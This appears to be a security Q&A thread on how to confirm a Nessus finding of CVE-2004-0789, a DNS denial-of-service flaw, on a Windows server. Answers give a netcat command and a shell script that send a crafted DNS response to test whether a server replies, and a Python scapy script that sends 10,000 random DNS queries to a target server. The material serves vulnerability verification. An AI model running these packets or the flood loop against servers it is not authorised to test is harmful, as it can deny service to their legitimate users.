4

I use Nessus to check vulnerabilities on my webserver. It is a Windows Server. Nessus reports that this particular server has a CVE-2004-0789 vulnerability.

Here is the description from Nessus:

The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.

How to check if this vulnerability really exists on my server? Is there any proof of concept about this?

[UPDATE: Some screenshot from Nessus' report]

Nessus reports that the server replies to DNS responses

christofersimbar
  • 41
  • 7
  • Nessus is rife with false positives and provides little to no security benefit. If you care about keep your network safe then you need a network penetration test from a professional. – rook Aug 16 '16 at 16:45
  • @rook I know that. I just want to know more about this CVE-2004-0789. I can't find a resource about how this thing affect a windows server. – christofersimbar Aug 18 '16 at 02:26
  • this issue affects every server - Microsoft started telling people in 2004 that it was a problem. – rook Aug 18 '16 at 02:32
  • If this system hasn't been patched since 2004, then you should have a shell. – rook Aug 18 '16 at 03:00

5 Answers5

2

The basic Nessus test appears to be replicable by using a hex editor to create a response file ( I used the Nessus google example) and then sending that data to the target DNS server via netcat:

so: 

 od -ah dns-response-dos.txt

0000000   `   x enq etx nul soh nul nul nul nul nul nul etx   w   w   w

f860    8385    0100    0000    0000    0000    7703    7777

0000020 ack   g   o   o   g   l   e etx   c   o   m nul nul dle nul soh

6706    6f6f    6c67    0365    6f63    006d    1000    0100

0000040

...and then: 

cat dns-response-dos.txt | nc -u "target dns server"  53 

`���wwwgooglecom^C

..produces a response.

Garbage data produces no response

Teun Vink
  • 6,788
  • 2
  • 27
  • 35
jretief
  • 21
  • 2
1

An excerpt from one vendors security page talks about how it's an issue and how it works

The main reason why code is insecure is because the code in question has undefined results when fed data which is in a different form than what the author of the code expected. The simplest case of this is the buffer overflow, where a program is fed a string far longer than the program was designed to handle. Another example is the "cache poison" bug which ancient versions of another DNS implementation had. With this bug, it was a trivial matter to tell the DNS server that, for example, www.yahoo.com had an ip address of say, 10.69.69.69, which really points to some sleazy site that installs spyware. Why did this bug exist? Because the original authors of this server did not expect remote servers to deliberately give out incorrect IP addresses.

Nick Mckenna
  • 507
  • 2
  • 8
  • Hi, thanks for the link. But I need information about tools or method to test this issue on windows server. – christofersimbar Aug 18 '16 at 02:34
  • Change your local hosts file C:\Windows\System32\drivers\etc\hosts so that the domain name you are testing directs to an alternative IP address. It should work for email, http or other protocol and for any domain so long as it does *not* require SSL certs. – fiprojects Aug 18 '16 at 09:45
  • This does not say anything specifically about CVE-2004-0789, let alone how to test a server for the presence of this specific bug. – David42 Jan 24 '22 at 17:19
0

I finally found a working proof of concept code:

#! /usr/bin/env python
import sys
from scapy.all import *

top_level = ".ch"
domain = "192.168.1.133" # enter the DNS server IP
cnt = 10000 # enter the count of request to be send
dns_server = "192.168.1.133" # enter the same DNS server IP

for i in range(0,cnt):
  s = RandString(RandNum(1,8))
  s1 = s.lower()
  q = s1+"."+domain+top_level
  print i,q
  sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))

References: https://medium.com/cybersecurityservices/multiple-vendor-dns-response-flooding-denial-of-service-cve-2004-0789-clint-josy-c91df5e78d89

christofersimbar
  • 41
  • 7
0

That's probably another Nessus false positive. The CVE lists affected products, and it does not include Microsoft DNS (or BIND, for that matter).

The CVE specifically identifies an infinite loop of comms traffic as the cause of the DoS.

You would have to monitor the IP stack on the target for abnormal CPU/RAM/network utilization in response to these requests.

The fact that your scanner is getting a response at all suggests the target is not vulnerable. The CVE indicates that the target floods itself due to the spoofed address, which should not result in any return traffic to your scanner.

Or have you installed and run Nessus on the actual DNS server? (Not recommended.)

DoubleD
  • 3,862
  • 1
  • 6
  • 14
  • This answer is incorrect. Nessus does not attempt to create the infinite loop. It just tests whether it could create one. This bug will only result in a loop if someone sends the server a reply packet which is forged so that it looks like it came from the server itself. Then it will reply to itself and it will reply to that reply and so on. – David42 Jan 24 '22 at 17:50
0

You can also used this shell script. It uses xxd and nc (Netcat).

#! /bin/sh
# Test for CVE-2004-0789
xxd -r -p - <<HERE | nc -u -w 5 -W 1 $1 53
24 3F 85 03 00 01 00 00 00 00 00 00 03 77 77 77
06 67 6F 6F 67 6C 65 03 63 6F 6D 00 00 10 00 01
HERE

Use it like this:

$ ./CVE-2004-0789-test.sh *server*

If the server is vulnerable, the script will print a response. If the server is not vulnerable, the script will time out after five seconds printing nothing.

David42
  • 101
  • 1